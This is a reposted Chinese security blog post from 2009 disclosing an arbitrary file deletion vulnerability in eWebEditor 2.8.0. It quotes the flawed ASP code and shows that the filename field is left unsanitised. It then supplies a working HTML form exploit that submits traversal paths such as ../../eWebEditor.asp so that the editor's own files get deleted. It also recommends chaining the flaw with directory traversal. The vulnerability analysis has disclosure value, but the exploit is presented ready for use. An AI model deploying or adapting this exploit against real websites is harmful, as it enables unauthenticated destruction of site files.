Ewebeditor2.8.0最终版删除任意文件漏洞

作者:oldjun 来源:oldjun.com 时间:2009-02-17 12:16:00 

这个漏洞可以很鸡肋,也可以很致命,关键看你怎么利用!

此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码:


' 把带"|"的字符串转为数组
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
' 删除新闻相关的文件,从文件夹中
Dim i
For i = 0 To UBound(aSavePathFileName)
' 按路径文件名删除文件
Call DoDelFile(aSavePathFileName(i))
Next

而aSavePathFileName是前面从数据库取出来的:


sSavePathFileName = oRs("D_SavePathFileName")

看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:


sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
...
oRs("D_SavePathFileName") = sSavePathFileName

居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:


Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function

无 语,这不是过滤字符型注入的函数么?放这里什么用也没有啊!既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中 d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新 闻,于是主目录下的eWebEditor.asp不见了!

下面给出利用的htm:


<HTML><HEAD><TITLE>eWebEditor删除文件 by:oldjun(http://www.oldjun.com)</TITLE><style>body,p,td,input {font-size:9pt}</style></HEAD><BODY><a href='list.asp'>新闻列表</a> | <a href='add.asp'>增加新闻</a><b>增加新闻</b><form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"method="post" name="myform"><input type=hidden name=d_originalfilename><input type=hidden name=d_savefilename><table cellspacing=3 align=center><tr><td>要删的文件(相对路径就可以了):</td><td><input type="text" name="d_savepathfilename" value="" size="90"></td></tr><tr><td>新闻标题(随便填):</td><td><input type="text" name="d_title" value="" size="90"></td></tr><tr><td>标题图片:</td><td><select name="d_picture" size=1><option value=''>无</option></select>当编辑区有插入图片时,将自动填充此下拉框</td></tr><tr><td>新闻内容(随便填):</td><td><textarea name="d_content"></textarea></td></tr></table><input type=submit name=btnSubmit value=" 提 交 "><input type=reset name=btnReset value=" 重 填 "></form></BODY></HTML>

删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历!

标签:Ewebeditor,漏洞,删除,文件
0
投稿

猜你喜欢

  • Win+apache下配置虚拟主机和绑定域名

    2008-10-17 14:56:00
  • 免费云杀软Immunet Project新测试版已发布

    2009-12-02 17:07:00
  • Linux系统上架设VSFTP服务器实例解析

    2009-12-23 18:42:00
  • 帝国cms采集图文教程(中)

    2012-03-12 20:26:52
  • 新站的站长,你需要怎么去推广新站

    2009-03-16 06:30:00
  • 关于Dedecms织梦系统使用经验教训

    2009-04-27 10:46:00
  • 网络营销无难事:逃走的浏览者

    2009-02-25 18:46:00
  • 监视并记录Apache网站服务器的运行

    2010-05-09 18:14:00
  • 美图秀秀周年特别版新功能 特效篇

    2009-10-14 17:14:00
  • 专访谷歌刘骏:关于iGoogle你全猜错!

    2009-10-14 09:54:00
  • 微软180度大转弯 否认Windows7借鉴Mac OS

    2009-11-13 08:29:00
  • WEB专用服务器的安全设置技巧

    2008-10-14 14:20:00
  • 谈谈站长注册域名的几个技巧

    2007-12-12 21:58:00
  • 医院网络营销之如何应对百度12.1关闭竞价系统

    2009-11-10 11:55:00
  • 外文翻译经典必读 AdSense基础知识90句

    2009-03-30 14:19:00
  • 对付恶意网站诡计的六大绝招

    2009-10-17 09:51:00
  • YouTube即将盈利 七分之一流量能产生营收

    2009-10-16 14:49:00
  • GoDaddy:如何在共享托管帐户上创建新增FTP用户

    2010-04-22 12:40:00
  • 中国网游出口风光背后4隐患 难进欧美市场

    2009-10-12 10:30:00
  • 国外域名注册之新手指导

    2008-05-20 18:29:00
  • asp之家 网站运营 m.aspxhome.com